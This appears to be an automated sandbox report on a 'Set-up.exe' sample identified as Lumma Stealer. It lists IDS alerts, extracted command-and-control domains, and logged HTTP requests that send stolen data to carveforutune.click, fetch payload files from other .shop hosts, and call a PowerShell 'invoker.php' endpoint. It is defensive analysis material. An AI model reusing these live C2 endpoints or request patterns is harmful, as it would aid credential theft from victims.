Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.161.251.21:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.37.128:443 -> 192.168.2.4:49746 version: TLS 1.2

Source: 'Set-up.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000011.00000002.2145798883.0000000007A80000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: BrightLib.exe, 00000032.00000002.2731707273.00000000386F0000.00000004.00000800.00020000.00000000.sdmp, BrightLib.exe, 00000032.00000002.2731570112.0000000038392000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: BrightLib.exe, 00000032.00000002.2731707273.00000000386F0000.00000004.00000800.00020000.00000000.sdmp, BrightLib.exe, 00000032.00000002.2731570112.0000000038392000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000011.00000002.2145798883.0000000007A80000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49744 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49743 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49738 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49737 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49738 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49737 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: abruptyopsn.shop
Source: Malware configuration extractor	URLs: cloudewahsj.shop
Source: Malware configuration extractor	URLs: nearycrepso.shop
Source: Malware configuration extractor	URLs: noisycuttej.shop
Source: Malware configuration extractor	URLs: carveforutune.click
Source: Malware configuration extractor	URLs: tirepublicerj.shop
Source: Malware configuration extractor	URLs: rabidcowse.shop
Source: Malware configuration extractor	URLs: wholersorie.shop
Source: Malware configuration extractor	URLs: framekgirus.shop

Source: Joe Sandbox View	IP Address: 104.21.37.128 104.21.37.128
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 185.161.251.21 185.161.251.21

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49737 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49742 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49744 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49738 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49746 -> 104.21.37.128:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49740 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49745 -> 185.161.251.21:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49741 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49743 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49739 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2008438 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send a Text File : 104.21.37.128:443 -> 192.168.2.4:49746

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: carveforutune.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 78Host: carveforutune.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=WH91PMKU4WYZWV39User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18150Host: carveforutune.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=25EV8RUNLSVFIPRYLUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8777Host: carveforutune.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=EN93XVPBUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20376Host: carveforutune.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=MLMOPNG2A3D5ZCYUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 974Host: carveforutune.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=191220ZY0CLEUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1092Host: carveforutune.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 113Host: carveforutune.click
Source: global traffic	HTTP traffic detected: GET /8574262446/ph.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: cegu.shop
Source: global traffic	HTTP traffic detected: GET /int_clp_sha.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: klipvumisui.shop

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /8574262446/ph.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: cegu.shop
Source: global traffic	HTTP traffic detected: GET /int_clp_sha.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: klipvumisui.shop

Source: global traffic	DNS traffic detected: DNS query: pdAXdqbLzMjgNT.pdAXdqbLzMjgNT
Source: global traffic	DNS traffic detected: DNS query: carveforutune.click
Source: global traffic	DNS traffic detected: DNS query: cegu.shop
Source: global traffic	DNS traffic detected: DNS query: klipvumisui.shop
Source: global traffic	DNS traffic detected: DNS query: dfgh.online

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: carveforutune.click

Source: 'Set-up.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: Auckland.com, 0000000C.00000003.2061439181.00000000041DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: Auckland.com, 0000000C.00000003.2061439181.00000000041DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: 'Set-up.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: 'Set-up.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: 'Set-up.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: PSNDEYKP9CHQN0J79BBDFB.exe.12.dr	String found in binary or memory: http://certs.securetrust.com/issuers/TWGCA.crt0
Source: PSNDEYKP9CHQN0J79BBDFB.exe.12.dr	String found in binary or memory: http://certs.securetrust.com/issuers/TWGCSCA_L1.crt0
Source: PSNDEYKP9CHQN0J79BBDFB.exe.12.dr	String found in binary or memory: http://certs.securetrust.com/issuers/VCTWGTSCA_L1.crt0
Source: PSNDEYKP9CHQN0J79BBDFB.tmp, 00000016.00000003.2735056948.0000000002680000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://crl.certum.pl/cscasha2.crl0q
Source: PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2205308935.00000000034C0000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2211911206.0000000002390000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000016.00000003.2735056948.0000000002680000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://crl.certum.pl/ctnca.crl0k
Source: Auckland.com, 0000000C.00000003.2015586201.0000000004420000.00000004.00000800.00020000.00000000.sdmp, Auckland.com.1.dr, Az.8.dr	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: Auckland.com, 0000000C.00000003.2015586201.0000000004420000.00000004.00000800.00020000.00000000.sdmp, Auckland.com.1.dr, Az.8.dr	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: Auckland.com, 0000000C.00000003.2015586201.0000000004420000.00000004.00000800.00020000.00000000.sdmp, Auckland.com.1.dr, Az.8.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: Auckland.com, 0000000C.00000003.2015586201.0000000004420000.00000004.00000800.00020000.00000000.sdmp, Auckland.com.1.dr, Az.8.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: Auckland.com, 0000000C.00000003.2015586201.0000000004420000.00000004.00000800.00020000.00000000.sdmp, Auckland.com.1.dr, Az.8.dr	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: powershell.exe, 00000011.00000002.2146137739.0000000007B49000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2145798883.0000000007A80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: Auckland.com, 0000000C.00000003.2061439181.00000000041DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2205308935.00000000034C0000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2211911206.0000000002390000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000016.00000003.2735056948.0000000002680000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: PSNDEYKP9CHQN0J79BBDFB.exe.12.dr	String found in binary or memory: http://crl.securetrust.com/TWGCSCA_L1.crl0y
Source: PSNDEYKP9CHQN0J79BBDFB.exe.12.dr	String found in binary or memory: http://crl.trustwave.com/TWGCA.crl0n
Source: PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2211911206.0000000002390000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000016.00000003.2735056948.0000000002680000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.usertr
Source: PSNDEYKP9CHQN0J79BBDFB.exe.12.dr	String found in binary or memory: http://crl.vikingcloud.com/TWGCA.crl0t
Source: PSNDEYKP9CHQN0J79BBDFB.exe.12.dr	String found in binary or memory: http://crl.vikingcloud.com/VCTWGTSCA_L1.crl0
Source: 'Set-up.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: Auckland.com, 0000000C.00000003.2061439181.00000000041DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: Auckland.com, 0000000C.00000003.2061439181.00000000041DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 'Set-up.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: 'Set-up.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: 'Set-up.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: Auckland.com, 0000000C.00000003.2061439181.00000000041DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 'Set-up.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0=
Source: Auckland.com, 0000000C.00000003.2061439181.00000000041DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2211911206.0000000002390000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000016.00000003.2735056948.0000000002680000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/Sectig
Source: PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2205308935.00000000034C0000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2211911206.0000000002390000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000016.00000003.2735056948.0000000002680000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2205308935.00000000034C0000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2211911206.0000000002390000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000016.00000003.2735056948.0000000002680000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://cscasha2.ocsp-certum.com04
Source: powershell.exe, 00000011.00000002.2141357432.0000000005640000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://go.micros
Source: BrightLib.exe, 00000032.00000002.2711429286.00000000032D6000.00000004.00000020.00020000.00000000.sdmp, BrightLib.exe, 00000032.00000002.2711310677.0000000003160000.00000004.00000020.00020000.00000000.sdmp, BrightLib.exe, 00000032.00000000.2666030998.0000000000AEE000.00000002.00000001.01000000.0000000F.sdmp, BrightLib.exe, 00000032.00000002.2712071101.0000000006351000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://michaeluno.jp/
Source: BrightLib.exe, 00000032.00000002.2711310677.0000000003160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://michaeluno.jp/4
Source: 'Set-up.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000011.00000002.2143919847.00000000062A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: Auckland.com, 0000000C.00000003.2061439181.00000000041DE000.00000004.00000800.00020000.00000000.sdmp, 'Set-up.exe	String found in binary or memory: http://ocsp.digicert.com0
Source: 'Set-up.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: 'Set-up.exe	String found in binary or memory: http://ocsp.digicert.com0C
Source: 'Set-up.exe	String found in binary or memory: http://ocsp.digicert.com0X
Source: Auckland.com, 0000000C.00000003.2015586201.0000000004420000.00000004.00000800.00020000.00000000.sdmp, Auckland.com.1.dr, Az.8.dr	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: Auckland.com, 0000000C.00000003.2061439181.00000000041DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2205308935.00000000034C0000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2211911206.0000000002390000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000016.00000003.2735056948.0000000002680000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: PSNDEYKP9CHQN0J79BBDFB.exe.12.dr	String found in binary or memory: http://ocsp.securetrust.com/0?
Source: PSNDEYKP9CHQN0J79BBDFB.exe.12.dr	String found in binary or memory: http://ocsp.trustwave.com/06
Source: PSNDEYKP9CHQN0J79BBDFB.exe.12.dr	String found in binary or memory: http://ocsp.vikingcloud.com/0:
Source: PSNDEYKP9CHQN0J79BBDFB.exe.12.dr	String found in binary or memory: http://ocsp.vikingcloud.com/0A
Source: Auckland.com, 0000000C.00000003.2015586201.0000000004420000.00000004.00000800.00020000.00000000.sdmp, Auckland.com.1.dr, Az.8.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: Auckland.com, 0000000C.00000003.2015586201.0000000004420000.00000004.00000800.00020000.00000000.sdmp, Auckland.com.1.dr, Az.8.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: Auckland.com, 0000000C.00000003.2015586201.0000000004420000.00000004.00000800.00020000.00000000.sdmp, Auckland.com.1.dr, Az.8.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: powershell.exe, 00000011.00000002.2141357432.0000000005396000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2205308935.00000000034C0000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2211911206.0000000002390000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000016.00000003.2735056948.0000000002680000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://repository.certum.pl/cscasha2.cer0
Source: PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2205308935.00000000034C0000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2211911206.0000000002390000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000016.00000003.2735056948.0000000002680000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://repository.certum.pl/ctnca.cer09
Source: powershell.exe, 00000011.00000002.2141357432.0000000005475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000011.00000002.2141357432.0000000005241000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000011.00000002.2141357432.0000000005475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: Auckland.com, 0000000C.00000003.2015586201.0000000004420000.00000004.00000800.00020000.00000000.sdmp, Auckland.com.1.dr, Az.8.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: Auckland.com, 0000000C.00000003.2015586201.0000000004420000.00000004.00000800.00020000.00000000.sdmp, Auckland.com.1.dr, Az.8.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: PSNDEYKP9CHQN0J79BBDFB.exe.12.dr	String found in binary or memory: http://ssl.trustwave.com/issuers/TWGCA.crt0
Source: PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2205308935.00000000034C0000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2211911206.0000000002390000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000016.00000003.2735056948.0000000002680000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://subca.ocsp-certum.com01
Source: powershell.exe, 00000011.00000002.2141357432.0000000005396000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: BrightLib.exe, 00000032.00000000.2665964645.000000000049A000.00000002.00000001.01000000.0000000F.sdmp, BrightLib.exe, 00000032.00000002.2709620501.000000000049A000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.autohotkey.com
Source: BrightLib.exe, 00000032.00000000.2665964645.000000000049A000.00000002.00000001.01000000.0000000F.sdmp, BrightLib.exe, 00000032.00000002.2709620501.000000000049A000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.autohotkey.comCould
Source: Auckland.com, 0000000C.00000000.1724122997.0000000000BC5000.00000002.00000001.01000000.00000007.sdmp, Auckland.com, 0000000C.00000003.2015586201.0000000004420000.00000004.00000800.00020000.00000000.sdmp, Auckland.com.1.dr, Divisions.8.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/X
Source: PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2205308935.00000000034C0000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2211911206.0000000002390000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000016.00000003.2735056948.0000000002680000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://www.certum.pl/CPS0
Source: 'Set-up.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: BrightLib.exe, 00000032.00000002.2731879542.0000000039C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.info-zip.org/
Source: powershell.exe, 00000011.00000002.2147638856.0000000008913000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.cowvH%
Source: Auckland.com, 0000000C.00000003.2061439181.00000000041DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: Auckland.com, 0000000C.00000003.2061439181.00000000041DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: Auckland.com, 0000000C.00000003.2037206099.00000000041F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000011.00000002.2141357432.0000000005241000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000011.00000002.2141357432.0000000005475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: Auckland.com, 0000000C.00000003.2037206099.00000000041F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: PSNDEYKP9CHQN0J79BBDFB.exe.12.dr	String found in binary or memory: https://certs.securetrust.com/CA0
Source: PSNDEYKP9CHQN0J79BBDFB.exe.12.dr	String found in binary or memory: https://certs.securetrust.com/CA05
Source: PSNDEYKP9CHQN0J79BBDFB.exe.12.dr	String found in binary or memory: https://certs.securetrust.com/CA0:
Source: Auckland.com, 0000000C.00000003.2037206099.00000000041F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Auckland.com, 0000000C.00000003.2037206099.00000000041F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 00000011.00000002.2143919847.00000000062A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000011.00000002.2143919847.00000000062A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000011.00000002.2143919847.00000000062A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000011.00000002.2141357432.0000000005396000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dfgh.online
Source: powershell.exe, 00000011.00000002.2141357432.0000000005475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dfgh.online/invoker.php?compName=
Source: powershell.exe, 00000011.00000002.2141357432.0000000005396000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dfgh.online/invoker.php?compName=user-PC
Source: Auckland.com, 0000000C.00000003.2037206099.00000000041F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
